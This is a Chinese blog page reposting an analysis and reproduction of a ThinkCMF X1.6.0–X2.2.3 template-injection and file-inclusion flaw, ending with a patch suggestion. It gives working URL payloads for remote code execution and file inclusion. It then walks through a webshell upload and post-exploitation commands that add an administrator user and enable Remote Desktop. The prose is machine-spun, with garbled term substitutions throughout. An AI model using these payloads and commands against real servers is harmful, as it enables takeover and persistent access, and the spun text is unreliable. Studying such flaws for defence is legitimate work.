hi,你好!欢迎访问本站!登录
本站由网站地图腾讯云宝塔系统阿里云强势驱动
当前位置:首页 - 教程 - 杂谈 - 正文 君子好学,自强不息!

ThinkCMF X1.6.0-X2.2.3框架恣意内容包括破绽剖析复现

2019-11-18杂谈搜奇网36°c
A+ A-

ThinkCMF X1.6.0-X2.2.3框架恣意内容包括破绽剖析复现

一、ThinkCMF简介

ThinkCMF是一款基于PHP+MYSQL开辟的中文内容治理体系框架,底层采纳ThinkPHP3.2.3构建。ThinkCMF提出天真的运用机制,框架自身供应基本的治理功用,而开辟者能够依据自身的需求以运用的情势举行扩大。

每一个运用都能自力的完成自身的使命,也可经由过程体系挪用其他运用举行协同事情。在这类运行机制下,开辟商场运用的用户无需体贴开辟SNS运用时怎样事情的,但他们之间又可经由过程体系自身举行谐和,大大的降低了开辟本钱和沟通本钱。

二、破绽形貌

引发破绽的最主要的题目是因为fetch函数和display函数是public范例。

fetch函数的作用是猎取页面内容,挪用内置模板引擎fetch要领,thinkphp的模版引擎运用的是smarty,在smarty中当key和value可控时便能够构成模板注入。

display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地点,charset模板字符集,contentType输出范例,content输出内容。

fetch和display的用法差不多,两者的区分就是display要领直接输出模板文件衬着后的内容,而fetch要领是返回模板文件衬着后的内容。

三、破绽影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

四、破绽环境搭建

1、下载ThinkCMF2.2.2版本,下载地点: https://github.com/thinkcmf/cmfx

2、解压以后直接放到phpstudy环境的web根目录下, 接见http://192.168.10.171/cmfx/

  

3、输入数据库暗码,设置用户名、暗码、邮箱等完成装置设置,以下胜利装置

  

五、破绽复现

1、运用sublime text翻开cmfx-X2.2.2文件夹,起首剖析主页代码,发明看一下顺序的项目途径在application目录下

  

2、跟进application,发明IndexController.class.php(进口分组的控制器类)

  

3、发明IndexController类中只要一个要领display要领,跟进父类HomebaseController文件

  

4、依据ThinkPHP框架划定规矩,能够经由过程g\m\a参数指定分组\模块\要领,这里能够经由过程a参数直接挪用Portal\IndexController父类(HomebaseController)中的一些权限为public的要领。

ThinkPHP框架划定规矩参考: https://www.cnblogs.com/czx521/p/6536954.html

5.1、剖析发明display函数和fetch函数是权限为public, display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地点,charset模板字符集,contentType输出范例,content输出内容。templateFile参数会经由parseTemplate函数处置惩罚。

  

5.2、跟进parseTemplate函数, 推断模板是不是存在,当模板不存在时会在当前目录下开始查找,这里合营一处上传构成文件包括。终究构成的payload :index.php?a=display&templateFile=xx.txt

6、fetch函数的作用是猎取页面内容,挪用内置模板引擎fetch要领,thinkphp的模版引擎运用的是smarty,在smarty中当key和value可控时便能够构成模板注入。

这里fetch函数的三个参数离别对应模板文件,输出内容,模板缓存前缀。应用时templateFile和prefix参数能够为空,在content参数传入待注入的php代码即可。

7、第一种应用要领运用a参数的fetch要领,完成长途代码实行

7.1、payload以下:

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

实行payload,页面是空缺的

  

7.2、接见test.php

  

7.3、上传一句话木马

  

7.4、菜刀衔接

  

7.5、新建用户并添加到治理员组,开启长途桌面衔接

net user test test /add

net localgroup administrators test /add

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

  

7.6、然后长途衔接就行

  

8、第二种要领, 经由过程组织a参数的display要领,完成恣意文件包括

Payload: ?a=display&templateFile=README.md

  

六、破绽修复

能够经由过程破绽成因看出来,引发破绽最主要的缘由就是fetch和display函数是public,能够在表面被接见,因而修复计划就是将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改成 protected,使他们没法在表面被接见。

 

 

------------------------------------------------------------------------------------ 

参考: https://xz.aliyun.com/t/6626

  选择打赏方式
微信赞助

打赏

QQ钱包

打赏

支付宝赞助

打赏

  移步手机端
ThinkCMF X1.6.0-X2.2.3框架恣意内容包括破绽剖析复现

1、打开你手机的二维码扫描APP
2、扫描左则的二维码
3、点击扫描获得的网址
4、可以在手机端阅读此文章
未定义标签

本文来源:搜奇网

本文地址:https://www.sou7.cn/282317.html

关注我们:微信搜索“搜奇网”添加我为好友

版权声明: 本文仅代表作者个人观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。请记住本站网址https://www.sou7.cn/搜奇网。

发表评论

选填

必填

必填

选填

请拖动滑块解锁
>>